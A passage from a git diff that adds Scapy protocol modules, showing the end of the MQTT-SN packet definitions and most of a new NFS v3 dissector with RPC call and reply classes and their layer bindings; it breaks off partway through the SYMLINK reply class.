MQTTSNPingResp(Packet): + name = "MQTT-SN ping response" + + +class MQTTSNDisconnect(Packet): + name = "MQTT-SN disconnect request" + fields_desc = [ + ConditionalField( + ShortField("duration", None), + lambda pkt: hasattr(pkt.underlayer, "len") and + ((pkt.underlayer.len is None) or (pkt.underlayer.len > 2)) + ), + ] + + +class MQTTSNWillTopicUpd(Packet): + name = "MQTT-SN will topic update" + fields_desc = FLAG_FIELDS + [ + StrLenField("will_topic", "", length_from=_mqttsn_length_from(1)), + ] + + +class MQTTSNWillTopicResp(Packet): + name = "MQTT-SN will topic response" + fields_desc = [ + ByteEnumField("return_code", ACCEPTED, RETURN_CODES), + ] + + +class MQTTSNWillMsgUpd(Packet): + name = "MQTT-SN will message update" + fields_desc = [ + StrLenField("will_msg", "", length_from=_mqttsn_length_from(0)) + ] + + +class MQTTSNWillMsgResp(Packet): + name = "MQTT-SN will message response" + fields_desc = [ + ByteEnumField("return_code", ACCEPTED, RETURN_CODES), + ] + + +class MQTTSNEncaps(Packet): + name = "MQTT-SN encapsulated message" + fields_desc = [ + BitField("resvd", 0, 6), + BitField("radius", 0, 2), + StrLenField( + "w_node_id", "", + length_from=_mqttsn_length_from(1) + ), + ] + + +# Layer bindings +bind_bottom_up(UDP, MQTTSN, sport=1883) +bind_bottom_up(UDP, MQTTSN, dport=1883) +bind_layers(UDP, MQTTSN, dport=1883, sport=1883) +bind_layers(MQTTSN, MQTTSNAdvertise, type=ADVERTISE) +bind_layers(MQTTSN, MQTTSNSearchGW, type=SEARCHGW) +bind_layers(MQTTSN, MQTTSNGwInfo, type=GWINFO) +bind_layers(MQTTSN, MQTTSNConnect, type=CONNECT) +bind_layers(MQTTSN, MQTTSNConnack, type=CONNACK) +bind_layers(MQTTSN, MQTTSNWillTopicReq, type=WILLTOPICREQ) +bind_layers(MQTTSN, MQTTSNWillTopic, type=WILLTOPIC) +bind_layers(MQTTSN, MQTTSNWillMsgReq, type=WILLMSGREQ) +bind_layers(MQTTSN, MQTTSNWillMsg, type=WILLMSG) +bind_layers(MQTTSN, MQTTSNRegister, type=REGISTER) +bind_layers(MQTTSN, MQTTSNRegack, type=REGACK) +bind_layers(MQTTSN, MQTTSNPublish, type=PUBLISH) +bind_layers(MQTTSN, MQTTSNPuback, type=PUBACK) +bind_layers(MQTTSN, MQTTSNPubcomp, type=PUBCOMP) +bind_layers(MQTTSN, MQTTSNPubrec, type=PUBREC) +bind_layers(MQTTSN, MQTTSNPubrel, type=PUBREL) +bind_layers(MQTTSN, MQTTSNSubscribe, type=SUBSCRIBE) +bind_layers(MQTTSN, MQTTSNSuback, type=SUBACK) +bind_layers(MQTTSN, MQTTSNUnsubscribe, type=UNSUBSCRIBE) +bind_layers(MQTTSN, MQTTSNUnsuback, type=UNSUBACK) +bind_layers(MQTTSN, MQTTSNPingReq, type=PINGREQ) +bind_layers(MQTTSN, MQTTSNPingResp, type=PINGRESP) +bind_layers(MQTTSN, MQTTSNDisconnect, type=DISCONNECT) +bind_layers(MQTTSN, MQTTSNWillTopicUpd, type=WILLTOPICUPD) +bind_layers(MQTTSN, MQTTSNWillTopicResp, type=WILLTOPICRESP) +bind_layers(MQTTSN, MQTTSNWillMsgUpd, type=WILLMSGUPD) +bind_layers(MQTTSN, MQTTSNWillMsgResp, type=WILLMSGRESP) +bind_layers(MQTTSN, MQTTSNEncaps, type=ENCAPS_MSG) +bind_layers(MQTTSNEncaps, MQTTSN) diff --git a/libs/scapy/contrib/nfs.py b/libs/scapy/contrib/nfs.py new file mode 100755 index 0000000..163bc0b --- /dev/null +++ b/libs/scapy/contrib/nfs.py @@ -0,0 +1,1014 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Lucas Preston +# This program is published under a GPLv2 license + +# scapy.contrib.description = Network File System (NFS) v3 +# scapy.contrib.status = loads + +from scapy.contrib.oncrpc import RPC, RPC_Call, Object_Name +from binascii import unhexlify +from scapy.packet import Packet, bind_layers +from scapy.fields import IntField, IntEnumField, FieldListField, LongField, \ + XIntField, XLongField, ConditionalField, PacketListField, StrLenField, \ + PacketField +from scapy.modules.six import integer_types + +nfsstat3 = { + 0: 'NFS3_OK', + 1: 'NFS3ERR_PERM', + 2: 'NFS3ERR_NOENT', + 5: 'NFS3ERR_IO', + 6: 'NFS3ERR_NXIO', + 13: 'NFS3ERR_ACCES', + 17: 'NFS3ERR_EXIST', + 18: 'NFS3ERR_XDEV', + 19: 'NFS3ERR_NODEV', + 20: 'NFS3ERR_NOTDIR', + 21: 'NFS3ERR_ISDIR', + 22: 'NFS3ERR_INVAL', + 27: 'NFS3ERR_FBIG', + 28: 'NFS3ERR_NOSPC', + 30: 'NFS3ERR_ROFS', + 31: 'NFS3ERR_MLINK', + 63: 'NFS3ERR_NAMETOOLONG', + 66: 'NFS3ERR_NOTEMPTY', + 69: 'NFS3ERR_DQUOT', + 70: 'NFS3ERR_STALE', + 71: 'NFS3ERR_REMOTE', + 10001: 'NFS3ERR_BADHANDLE', + 10002: 'NFS3ERR_NOT_SYNC', + 10003: 'NFS3ERR_BAD_COOKIE', + 10004: 'NFS3ERR_NOTSUPP', + 10005: 'NFS3ERR_TOOSMALL', + 10006: 'NFS3ERR_SERVERFAULT', + 10007: 'NFS3ERR_BADTYPE', + 10008: 'NFS3ERR_JUKEBOX' +} + +ftype3 = { + 1: 'NF3REG', + 2: 'NF3DIR', + 3: 'NF3BLK', + 4: 'NF3CHR', + 5: 'NF3LNK', + 6: 'NF3SOCK', + 7: 'NF3FIFO' +} + + +def loct(x): + if isinstance(x, integer_types): + return oct(x) + if isinstance(x, tuple): + return "(%s)" % ", ".join(map(loct, x)) + if isinstance(x, list): + return "[%s]" % ", ".join(map(loct, x)) + return x + + +class OIntField(IntField): + """IntField child with octal representation""" + def i2repr(self, pkt, x): + return loct(self.i2h(pkt, x)) + + +class Fattr3(Packet): + name = 'File Attributes' + fields_desc = [ + IntEnumField('type', 0, ftype3), + OIntField('mode', 0), + IntField('nlink', 0), + IntField('uid', 0), + IntField('gid', 0), + LongField('size', 0), + LongField('used', 0), + FieldListField( + 'rdev', [0, 0], IntField('', None), count_from=lambda x: 2 + ), + XLongField('fsid', 0), + XLongField('fileid', 0), + IntField('atime_s', 0), + IntField('atime_ns', 0), + IntField('mtime_s', 0), + IntField('mtime_ns', 0), + IntField('ctime_s', 0), + IntField('ctime_ns', 0) + ] + + def extract_padding(self, s): + return '', s + + +class File_Object(Packet): + name = 'File Object' + fields_desc = [ + IntField('length', 0), + StrLenField('fh', b'', length_from=lambda pkt: pkt.length), + StrLenField('fill', b'', length_from=lambda pkt: (4 - pkt.length) % 4) + ] + + def set(self, new_filehandle, length=None, fill=None): + # convert filehandle to bytes if it was passed as a string + if new_filehandle.isalnum(): + new_filehandle = unhexlify(new_filehandle) + + if length is None: + length = len(new_filehandle) + if fill is None: + fill = b'\x00' * ((4 - length) % 4) + + self.length = length + self.fh = new_filehandle + self.fill = fill + + def extract_padding(self, s): + return '', s + + +class WCC_Attr(Packet): + name = 'File Attributes' + fields_desc = [ + LongField('size', 0), + IntField('mtime_s', 0), + IntField('mtime_ns', 0), + IntField('ctime_s', 0), + IntField('ctime_ns', 0) + ] + + def extract_padding(self, s): + return '', s + + +class File_From_Dir_Plus(Packet): + name = 'File' + fields_desc = [ + LongField('fileid', 0), + PacketField('filename', Object_Name(), Object_Name), + LongField('cookie', 0), + IntField('attributes_follow', 0), + ConditionalField( + PacketField('attributes', Fattr3(), Fattr3), + lambda pkt: pkt.attributes_follow == 1 + ), + IntField('handle_follows', 0), + ConditionalField( + PacketField('filehandle', File_Object(), File_Object), + lambda pkt: pkt.handle_follows == 1 + ), + IntField('value_follows', 0) + ] + + def extract_padding(self, s): + return '', s + + +class File_From_Dir(Packet): + name = 'File' + fields_desc = [ + LongField('fileid', 0), + PacketField('filename', Object_Name(), Object_Name), + LongField('cookie', 0), + IntField('value_follows', 0) + ] + + def extract_padding(self, s): + return '', s + + +attrs_enum = {0: 'DONT SET', 1: 'SET'} +times_enum = {0: 'DONT CHANGE', 1: 'SERVER TIME', 2: 'CLIENT TIME'} + + +class Sattr3(Packet): + name = 'Setattr3' + fields_desc = [ + IntEnumField('set_mode', 0, attrs_enum), + ConditionalField(OIntField('mode', 0), lambda pkt: pkt.set_mode == 1), + IntEnumField('set_uid', 0, attrs_enum), + ConditionalField(IntField('uid', 0), lambda pkt: pkt.set_uid == 1), + IntEnumField('set_gid', 0, attrs_enum), + ConditionalField(IntField('gid', 0), lambda pkt: pkt.set_gid == 1), + IntEnumField('set_size', 0, attrs_enum), + ConditionalField(LongField('size', 0), lambda pkt: pkt.set_size == 1), + IntEnumField('set_atime', 0, times_enum), + ConditionalField( + IntField('atime_s', 0), lambda pkt: pkt.set_atime == 2 + ), + ConditionalField( + IntField('atime_ns', 0), lambda pkt: pkt.set_atime == 2 + ), + IntEnumField('set_mtime', 0, times_enum), + ConditionalField( + IntField('mtime_s', 0), lambda pkt: pkt.set_mtime == 2 + ), + ConditionalField( + IntField('mtime_ns', 0), lambda pkt: pkt.set_mtime == 2 + ) + ] + + def extract_padding(self, s): + return '', s + + +class GETATTR_Call(Packet): + name = 'GETATTR Call' + fields_desc = [ + PacketField('filehandle', File_Object(), File_Object) + ] + + +class GETATTR_Reply(Packet): + name = 'GETATTR Reply' + fields_desc = [ + IntEnumField('status', 0, nfsstat3), + ConditionalField( + PacketField('attributes', Fattr3(), Fattr3), + lambda pkt: pkt.status == 0 + ) + ] + + def extract_padding(self, s): + return '', None + + +bind_layers(RPC, GETATTR_Call, mtype=0) +bind_layers( + RPC_Call, GETATTR_Call, program=100003, pversion=3, procedure=1 +) +bind_layers(RPC, GETATTR_Reply, mtype=1) + + +class LOOKUP_Call(Packet): + name = 'LOOKUP Call' + fields_desc = [ + PacketField('dir', File_Object(), File_Object), + PacketField('filename', Object_Name(), Object_Name) + ] + + +class LOOKUP_Reply(Packet): + name = 'LOOKUP Reply' + fields_desc = [ + IntEnumField('status', 0, nfsstat3), + ConditionalField( + PacketField('filehandle', File_Object(), File_Object), + lambda pkt: pkt.status == 0 + ), + ConditionalField(IntField('af_file', 0), lambda pkt: pkt.status == 0), + ConditionalField( + PacketField('file_attributes', Fattr3(), Fattr3), + lambda pkt: pkt.status == 0 and pkt.af_file == 1 + ), + IntField('af_dir', 0), + ConditionalField( + PacketField('dir_attributes', Fattr3(), Fattr3), + lambda pkt: pkt.af_dir == 1 + ) + ] + + +bind_layers(RPC, LOOKUP_Call, mtype=0) +bind_layers(RPC, LOOKUP_Reply, mtype=1) +bind_layers(RPC_Call, LOOKUP_Call, program=100003, pversion=3, procedure=3) + + +class NULL_Call(Packet): + name = 'NFS NULL Call' + fields_desc = [] + + +class NULL_Reply(Packet): + name = 'NFS NULL Reply' + fields_desc = [] + + +bind_layers(RPC, NULL_Call, mtype=0) +bind_layers(RPC, NULL_Reply, mtype=1) +bind_layers(RPC_Call, NULL_Call, program=100003, pversion=3, procedure=0) + + +class FSINFO_Call(Packet): + name = 'FSINFO Call' + fields_desc = [ + PacketField('filehandle', File_Object(), File_Object) + ] + + +class FSINFO_Reply(Packet): + name = 'FSINFO Reply' + fields_desc = [ + IntEnumField('status', 0, nfsstat3), + IntField('attributes_follow', 0), + ConditionalField( + PacketField('attributes', Fattr3(), Fattr3), + lambda pkt: pkt.attributes_follow == 1 + ), + ConditionalField(IntField('rtmax', 0), lambda pkt: pkt.status == 0), + ConditionalField(IntField('rtpref', 0), lambda pkt: pkt.status == 0), + ConditionalField(IntField('rtmult', 0), lambda pkt: pkt.status == 0), + ConditionalField(IntField('wtmax', 0), lambda pkt: pkt.status == 0), + ConditionalField(IntField('wtpref', 0), lambda pkt: pkt.status == 0), + ConditionalField(IntField('wtmult', 0), lambda pkt: pkt.status == 0), + ConditionalField(IntField('dtpref', 0), lambda pkt: pkt.status == 0), + ConditionalField( + LongField('maxfilesize', 0), lambda pkt: pkt.status == 0 + ), + ConditionalField( + IntField('timedelta_s', 0), lambda pkt: pkt.status == 0 + ), + ConditionalField( + IntField('timedelta_ns', 0), lambda pkt: pkt.status == 0 + ), + ConditionalField( + XIntField('properties', 0), lambda pkt: pkt.status == 0 + ), + ] + + +bind_layers(RPC, FSINFO_Call, mtype=0) +bind_layers(RPC, FSINFO_Reply, mtype=1) +bind_layers( + RPC_Call, FSINFO_Call, program=100003, pversion=3, procedure=19 +) + + +class PATHCONF_Call(Packet): + name = 'PATHCONF Call' + fields_desc = [ + PacketField('filehandle', File_Object(), File_Object) + ] + + +class PATHCONF_Reply(Packet): + name = 'PATHCONF Reply' + fields_desc = [ + IntEnumField('status', 0, nfsstat3), + IntField('attributes_follow', 0), + ConditionalField( + PacketField('attributes', Fattr3(), Fattr3), + lambda pkt: pkt.attributes_follow == 1 + ), + ConditionalField(IntField('linkmax', 0), lambda pkt: pkt.status == 0), + ConditionalField(IntField('name_max', 0), lambda pkt: pkt.status == 0), + ConditionalField( + IntEnumField('no_trunc', 0, {0: 'NO', 1: 'YES'}), + lambda pkt: pkt.status == 0 + ), + ConditionalField( + IntEnumField('chown_restricted', 0, {0: 'NO', 1: 'YES'}), + lambda pkt: pkt.status == 0 + ), + ConditionalField( + IntEnumField('case_insensitive', 0, {0: 'NO', 1: 'YES'}), + lambda pkt: pkt.status == 0 + ), + ConditionalField( + IntEnumField('case_preserving', 0, {0: 'NO', 1: 'YES'}), + lambda pkt: pkt.status == 0 + ) + ] + + +bind_layers(RPC, PATHCONF_Call, mtype=0) +bind_layers(RPC, PATHCONF_Reply, mtype=1) +bind_layers( + RPC_Call, PATHCONF_Call, program=100003, pversion=3, procedure=20 +) + +access_specs = { + 0x0001: 'READ', + 0x0002: 'LOOKUP', + 0x0004: 'MODIFY', + 0x0008: 'EXTEND', + 0x0010: 'DELETE', + 0x0020: 'EXECUTE' +} + + +class ACCESS_Call(Packet): + name = 'ACCESS Call' + fields_desc = [ + PacketField('filehandle', File_Object(), File_Object), + IntEnumField('check_access', 1, access_specs) + ] + + +class ACCESS_Reply(Packet): + name = 'ACCESS Reply' + fields_desc = [ + IntEnumField('status', 0, nfsstat3), + IntField('attributes_follow', 0), + ConditionalField( + PacketField('attributes', Fattr3(), Fattr3), + lambda pkt: pkt.attributes_follow == 1 + ), + ConditionalField( + XIntField('access_rights', 0), lambda pkt: pkt.status == 0 + ) + ] + + +bind_layers(RPC, ACCESS_Call, mtype=0) +bind_layers(RPC, ACCESS_Reply, mtype=1) +bind_layers(RPC_Call, ACCESS_Call, program=100003, pversion=3, procedure=4) + + +class READDIRPLUS_Call(Packet): + name = 'READDIRPLUS Call' + fields_desc = [ + PacketField('filehandle', File_Object(), File_Object), + LongField('cookie', 0), + LongField('verifier', 0), + IntField('dircount', 512), + IntField('maxcount', 4096) + ] + + +class READDIRPLUS_Reply(Packet): + name = 'READDIRPLUS Reply' + fields_desc = [ + IntEnumField('status', 0, nfsstat3), + IntField('attributes_follow', 0), + ConditionalField( + PacketField('attributes', Fattr3(), Fattr3), + lambda pkt: pkt.attributes_follow == 1 + ), + ConditionalField( + LongField('verifier', 0), lambda pkt: pkt.status == 0 + ), + ConditionalField( + IntField('value_follows', 0), lambda pkt: pkt.status == 0 + ), + ConditionalField( + PacketListField( + 'files', None, cls=File_From_Dir_Plus, + next_cls_cb=lambda pkt, lst, cur, remain: + File_From_Dir_Plus if pkt.value_follows == 1 and + (len(lst) == 0 or cur.value_follows == 1) and + len(remain) > 4 else None + ), + lambda pkt: pkt.status == 0 + ), + ConditionalField(IntField('eof', 0), lambda pkt: pkt.status == 0) + ] + + def extract_padding(self, s): + return '', s + + +bind_layers(RPC, READDIRPLUS_Call, mtype=0) +bind_layers(RPC, READDIRPLUS_Reply, mtype=1) +bind_layers( + RPC_Call, READDIRPLUS_Call, program=100003, pversion=3, procedure=17 +) + + +class WRITE_Call(Packet): + name = 'WRITE Call' + fields_desc = [ + PacketField('filehandle', File_Object(), File_Object), + LongField('offset', 0), + IntField('count', 0), + IntEnumField('stable', 0, {0: 'UNSTABLE', 1: 'STABLE'}), + IntField('length', 0), + StrLenField('contents', b'', length_from=lambda pkt: pkt.length), + StrLenField('fill', b'', length_from=lambda pkt: (4 - pkt.length) % 4) + ] + + +class WRITE_Reply(Packet): + name = 'WRITE Reply' + fields_desc = [ + IntEnumField('status', 0, nfsstat3), + IntField('af_before', 0), + ConditionalField( + PacketField('attributes_before', WCC_Attr(), WCC_Attr), + lambda pkt: pkt.af_before == 1 + ), + IntField('af_after', 0), + ConditionalField( + PacketField('attributes_after', Fattr3(), Fattr3), + lambda pkt: pkt.af_after == 1 + ), + ConditionalField(IntField('count', 0), lambda pkt: pkt.status == 0), + ConditionalField( + IntEnumField('committed', 0, {0: 'UNSTABLE', 1: 'STABLE'}), + lambda pkt: pkt.status == 0 + ), + ConditionalField( + XLongField('verifier', 0), lambda pkt: pkt.status == 0 + ) + ] + + +bind_layers(RPC, WRITE_Call, mtype=0) +bind_layers(RPC, WRITE_Reply, mtype=1) +bind_layers(RPC_Call, WRITE_Call, program=100003, pversion=3, procedure=7) + + +class COMMIT_Call(Packet): + name = 'COMMIT Call' + fields_desc = [ + PacketField('filehandle', File_Object(), File_Object), + LongField('offset', 0), + IntField('count', 0) + ] + + +class COMMIT_Reply(Packet): + name = 'COMMIT Reply' + fields_desc = [ + IntEnumField('status', 0, nfsstat3), + IntField('af_before', 0), + ConditionalField( + PacketField('attributes_before', WCC_Attr(), WCC_Attr), + lambda pkt: pkt.af_before == 1 + ), + IntField('af_after', 0), + ConditionalField( + PacketField('attributes_after', Fattr3(), Fattr3), + lambda pkt: pkt.af_after == 1 + ), + ConditionalField( + XLongField('verifier', 0), lambda pkt: pkt.status == 0 + ) + ] + + +bind_layers(RPC, COMMIT_Call, mtype=0) +bind_layers(RPC, COMMIT_Reply, mtype=1) +bind_layers( + RPC_Call, COMMIT_Call, program=100003, pversion=3, procedure=21 +) + + +class SETATTR_Call(Packet): + name = 'SETATTR Call' + fields_desc = [ + PacketField('filehandle', File_Object(), File_Object), + PacketField('attributes', Sattr3(), Sattr3), + IntField('check', 0) + ] + + +class SETATTR_Reply(Packet): + name = 'SETATTR Reply' + fields_desc = [ + IntEnumField('status', 0, nfsstat3), + IntField('af_before', 0), + ConditionalField( + PacketField('attributes_before', WCC_Attr(), WCC_Attr), + lambda pkt: pkt.af_before == 1 + ), + IntField('af_after', 0), + ConditionalField( + PacketField('attributes_after', Fattr3(), Fattr3), + lambda pkt: pkt.af_after == 1 + ) + ] + + +bind_layers(RPC, SETATTR_Call, mtype=0) +bind_layers(RPC, SETATTR_Reply, mtype=1) +bind_layers( + RPC_Call, SETATTR_Call, program=100003, pversion=3, procedure=2 +) + + +class FSSTAT_Call(Packet): + name = 'FSSTAT Call' + fields_desc = [ + PacketField('filehandle', File_Object(), File_Object) + ] + + +class FSSTAT_Reply(Packet): + name = 'FSSTAT Reply' + fields_desc = [ + IntEnumField('status', 0, nfsstat3), + IntField('attributes_follow', 0), + ConditionalField( + PacketField('attributes', Fattr3(), Fattr3), + lambda pkt: pkt.attributes_follow == 1 + ), + ConditionalField(LongField('tbytes', 0), lambda pkt: pkt.status == 0), + ConditionalField(LongField('fbytes', 0), lambda pkt: pkt.status == 0), + ConditionalField(LongField('abytes', 0), lambda pkt: pkt.status == 0), + ConditionalField(LongField('tfiles', 0), lambda pkt: pkt.status == 0), + ConditionalField(LongField('ffiles', 0), lambda pkt: pkt.status == 0), + ConditionalField(LongField('afiles', 0), lambda pkt: pkt.status == 0), + ConditionalField(IntField('invarsec', 0), lambda pkt: pkt.status == 0) + ] + + +bind_layers(RPC, FSSTAT_Call, mtype=0) +bind_layers(RPC, FSSTAT_Reply, mtype=1) +bind_layers( + RPC_Call, FSSTAT_Call, program=100003, pversion=3, procedure=18 +) + + +class CREATE_Call(Packet): + name = 'CREATE Call' + fields_desc = [ + PacketField('dir', File_Object(), File_Object), + PacketField('filename', Object_Name(), Object_Name), + IntEnumField('create_mode', None, {0: 'UNCHECKED', + 1: 'GUARDED', + 2: 'EXCLUSIVE'}), + ConditionalField( + PacketField('attributes', Sattr3(), Sattr3), + lambda pkt: pkt.create_mode != 2 + ), + ConditionalField( + XLongField('verifier', 0), lambda pkt: pkt.create_mode == 2 + ) + ] + + +class CREATE_Reply(Packet): + name = 'CREATE Reply' + fields_desc = [ + IntEnumField('status', 0, nfsstat3), + ConditionalField( + IntField('handle_follows', 0), lambda pkt: pkt.status == 0 + ), + ConditionalField( + PacketField('filehandle', File_Object(), File_Object), + lambda pkt: pkt.status == 0 and pkt.handle_follows == 1 + ), + ConditionalField( + IntField('attributes_follow', 0), lambda pkt: pkt.status == 0 + ), + ConditionalField( + PacketField('attributes', Fattr3(), Fattr3), + lambda pkt: pkt.status == 0 and pkt.attributes_follow == 1 + ), + IntField('af_before', 0), + ConditionalField( + PacketField('dir_attributes_before', WCC_Attr(), WCC_Attr), + lambda pkt: pkt.af_before == 1 + ), + IntField('af_after', 0), + ConditionalField( + PacketField('dir_attributes_after', Fattr3(), Fattr3), + lambda pkt: pkt.af_after == 1 + ) + ] + + +bind_layers(RPC, CREATE_Call, mtype=0) +bind_layers(RPC, CREATE_Reply, mtype=1) +bind_layers(RPC_Call, CREATE_Call, program=100003, pversion=3, procedure=8) + + +class REMOVE_Call(Packet): + name = 'REMOVE Call' + fields_desc = [ + PacketField('dir', File_Object(), File_Object), + PacketField('filename', Object_Name(), Object_Name) + ] + + +class REMOVE_Reply(Packet): + name = 'REMOVE Reply' + fields_desc = [ + IntEnumField('status', 0, nfsstat3), + IntField('af_before', 0), + ConditionalField( + PacketField('attributes_before', WCC_Attr(), WCC_Attr), + lambda pkt: pkt.af_before == 1 + ), + IntField('af_after', 0), + ConditionalField( + PacketField('attributes_after', Fattr3(), Fattr3), + lambda pkt: pkt.af_after == 1 + ) + ] + + +bind_layers(RPC, REMOVE_Call, mtype=0) +bind_layers(RPC, REMOVE_Reply, mtype=1) +bind_layers( + RPC_Call, REMOVE_Call, program=100003, pversion=3, procedure=12 +) + + +class READDIR_Call(Packet): + name = 'READDIR Call' + fields_desc = [ + PacketField('filehandle', File_Object(), File_Object), + LongField('cookie', 0), + XLongField('verifier', 0), + IntField('count', 0) + ] + + +class READDIR_Reply(Packet): + name = 'READDIR Reply' + fields_desc = [ + IntEnumField('status', 0, nfsstat3), + IntField('attributes_follow', 0), + ConditionalField( + PacketField('attributes', Fattr3(), Fattr3), + lambda pkt: pkt.attributes_follow == 1 + ), + ConditionalField( + XLongField('verifier', 0), lambda pkt: pkt.status == 0 + ), + ConditionalField( + IntField('value_follows', 0), lambda pkt: pkt.status == 0 + ), + ConditionalField( + PacketListField( + 'files', None, cls=File_From_Dir, + next_cls_cb=lambda pkt, lst, cur, remain: + File_From_Dir if pkt.value_follows == 1 and + (len(lst) == 0 or cur.value_follows == 1) and + len(remain) > 4 else None + ), + lambda pkt: pkt.status == 0), + ConditionalField(IntField('eof', 0), lambda pkt: pkt.status == 0) + ] + + +bind_layers(RPC, READDIR_Call, mtype=0) +bind_layers(RPC, READDIR_Reply, mtype=1) +bind_layers( + RPC_Call, READDIR_Call, program=100003, pversion=3, procedure=16 +) + + +class RENAME_Call(Packet): + name = 'RENAME Call' + fields_desc = [ + PacketField('dir_from', File_Object(), File_Object), + PacketField('name_from', Object_Name(), Object_Name), + PacketField('dir_to', File_Object(), File_Object), + PacketField('name_to', Object_Name(), Object_Name), + ] + + +class RENAME_Reply(Packet): + name = 'RENAME Reply' + fields_desc = [ + IntEnumField('status', 0, nfsstat3), + IntField('af_before_f', 0), + ConditionalField( + PacketField('attributes_before_f', WCC_Attr(), WCC_Attr), + lambda pkt: pkt.af_before_f == 1 + ), + IntField('af_after_f', 0), + ConditionalField( + PacketField('attributes_after_f', Fattr3(), Fattr3), + lambda pkt: pkt.af_after_f == 1 + ), + IntField('af_before_t', 0), + ConditionalField( + PacketField('attributes_before_t', WCC_Attr(), WCC_Attr), + lambda pkt: pkt.af_before_t == 1 + ), + IntField('af_after_t', 0), + ConditionalField( + PacketField('attributes_after_t', Fattr3(), Fattr3), + lambda pkt: pkt.af_after_t == 1 + ) + ] + + +bind_layers(RPC, RENAME_Call, mtype=0) +bind_layers(RPC, RENAME_Reply, mtype=1) +bind_layers( + RPC_Call, RENAME_Call, program=100003, pversion=3, procedure=14 +) + + +class LINK_Call(Packet): + name = 'LINK Call' + fields_desc = [ + PacketField('filehandle', File_Object(), File_Object), + PacketField('link_dir', File_Object(), File_Object), + PacketField('link_name', Object_Name(), Object_Name) + ] + + +class LINK_Reply(Packet): + name = 'LINK Reply' + fields_desc = [ + IntEnumField('status', 0, nfsstat3), + IntField('af_file', 0), + ConditionalField( + PacketField('file_attributes', Fattr3(), Fattr3), + lambda pkt: pkt.af_file == 1 + ), + IntField('af_link_before', 0), + ConditionalField( + PacketField('link_attributes_before', WCC_Attr(), WCC_Attr), + lambda pkt: pkt.af_link_before == 1 + ), + IntField('af_link_after', 0), + ConditionalField( + PacketField('link_attributes_after', Fattr3(), Fattr3), + lambda pkt: pkt.af_link_after == 1 + ) + ] + + +bind_layers(RPC, LINK_Call, mtype=0) +bind_layers(RPC, LINK_Reply, mtype=1) +bind_layers(RPC_Call, LINK_Call, program=100003, pversion=3, procedure=15) + + +class RMDIR_Call(Packet): + name = 'RMDIR Call' + fields_desc = [ + PacketField('dir', File_Object(), File_Object), + PacketField('filename', Object_Name(), Object_Name), + ] + + +class RMDIR_Reply(Packet): + name = 'RMDIR Reply' + fields_desc = [ + IntEnumField('status', 0, nfsstat3), + IntField('af_before', 0), + ConditionalField( + PacketField('attributes_before', WCC_Attr(), WCC_Attr), + lambda pkt: pkt.af_before == 1 + ), + IntField('af_after', 0), + ConditionalField( + PacketField('attributes_after', Fattr3(), Fattr3), + lambda pkt: pkt.af_after == 1 + ) + ] + + +bind_layers(RPC, RMDIR_Call, mtype=0) +bind_layers(RPC, RMDIR_Reply, mtype=1) +bind_layers(RPC_Call, RMDIR_Call, program=100003, pversion=3, procedure=13) + + +class READLINK_Call(Packet): + name = 'READLINK Call' + fields_desc = [ + PacketField('filehandle', File_Object(), File_Object) + ] + + +class READLINK_Reply(Packet): + name = 'READLINK Reply' + fields_desc = [ + IntEnumField('status', 0, nfsstat3), + IntField('attributes_follow', 0), + ConditionalField( + PacketField('attributes', Fattr3(), Fattr3), + lambda pkt: pkt.attributes_follow == 1 + ), + ConditionalField( + PacketField('filename', Object_Name(), Object_Name), + lambda pkt: pkt.status == 0 + ) + ] + + +bind_layers(RPC, READLINK_Call, mtype=0) +bind_layers(RPC, READLINK_Reply, mtype=1) +bind_layers( + RPC_Call, READLINK_Call, program=100003, pversion=3, procedure=5 +) + + +class READ_Call(Packet): + name = 'READ Call' + fields_desc = [ + PacketField('filehandle', File_Object(), File_Object), + LongField('offset', 0), + IntField('count', 0) + ] + + +class READ_Reply(Packet): + name = 'READ Reply' + fields_desc = [ + IntEnumField('status', 0, nfsstat3), + IntField('attributes_follow', 0), + ConditionalField( + PacketField('attributes', Fattr3(), Fattr3), + lambda pkt: pkt.attributes_follow == 1 + ), + ConditionalField(IntField('count', 0), lambda pkt: pkt.status == 0), + ConditionalField(IntField('eof', 0), lambda pkt: pkt.status == 0), + ConditionalField( + IntField('data_length', 0), lambda pkt: pkt.status == 0 + ), + ConditionalField( + StrLenField('data', b'', length_from=lambda pkt: pkt.data_length), + lambda pkt: pkt.status == 0 + ), + ConditionalField( + StrLenField( + 'fill', b'', length_from=lambda pkt: (4 - pkt.data_length) % 4 + ), + lambda pkt: pkt.status == 0 + ) + ] + + +bind_layers(RPC, READ_Call, mtype=0) +bind_layers(RPC, READ_Reply, mtype=1) +bind_layers(RPC_Call, READ_Call, program=100003, pversion=3, procedure=6) + + +class MKDIR_Call(Packet): + name = 'MKDIR Call' + fields_desc = [ + PacketField('dir', File_Object(), File_Object), + PacketField('dir_name', Object_Name(), Object_Name), + PacketField('attributes', Sattr3(), Sattr3) + ] + + +class MKDIR_Reply(Packet): + name = 'MKDIR Reply' + fields_desc = [ + IntEnumField('status', 0, nfsstat3), + ConditionalField( + IntField('handle_follows', 0), lambda pkt: pkt.status == 0 + ), + ConditionalField( + PacketField('filehandle', File_Object(), File_Object), + lambda pkt: pkt.status == 0 and pkt.handle_follows == 1 + ), + ConditionalField( + IntField('attributes_follow', 0), lambda pkt: pkt.status == 0 + ), + ConditionalField( + PacketField('attributes', Fattr3(), Fattr3), + lambda pkt: pkt.status == 0 and pkt.attributes_follow == 1 + ), + IntField('af_before', 0), + ConditionalField( + PacketField('dir_attributes_before', WCC_Attr(), WCC_Attr), + lambda pkt: pkt.af_before == 1 + ), + IntField('af_after', 0), + ConditionalField( + PacketField('dir_attributes_after', Fattr3(), Fattr3), + lambda pkt: pkt.af_after == 1 + ) + ] + + +bind_layers(RPC, MKDIR_Call, mtype=0) +bind_layers(RPC, MKDIR_Reply, mtype=1) +bind_layers(RPC_Call, MKDIR_Call, program=100003, pversion=3, procedure=9) + + +class SYMLINK_Call(Packet): + name = 'SYMLINK Call' + fields_desc = [ + PacketField('dir', File_Object(), File_Object), + PacketField('dir_name', Object_Name(), Object_Name), + PacketField('attributes', Sattr3(), Sattr3), + PacketField('link_name', Object_Name(), Object_Name) + ] + + +class SYMLINK_Reply(Packet): + name = 'SYMLINK Reply' + fields_desc = [ + IntEnumField('status', 0, nfsstat3), + ConditionalField( + IntField('handle_follows', 0), lambda pkt: pkt.status == 0 + ), + ConditionalField( + PacketField('filehandle', File_Object(), File_Object), + lambda pkt: pkt.status == 0 and pkt.handle_follows == 1 + ), + ConditionalField( + IntField('attributes_follow', 0), lambda pkt: pkt.status == 0 + ), + ConditionalField( 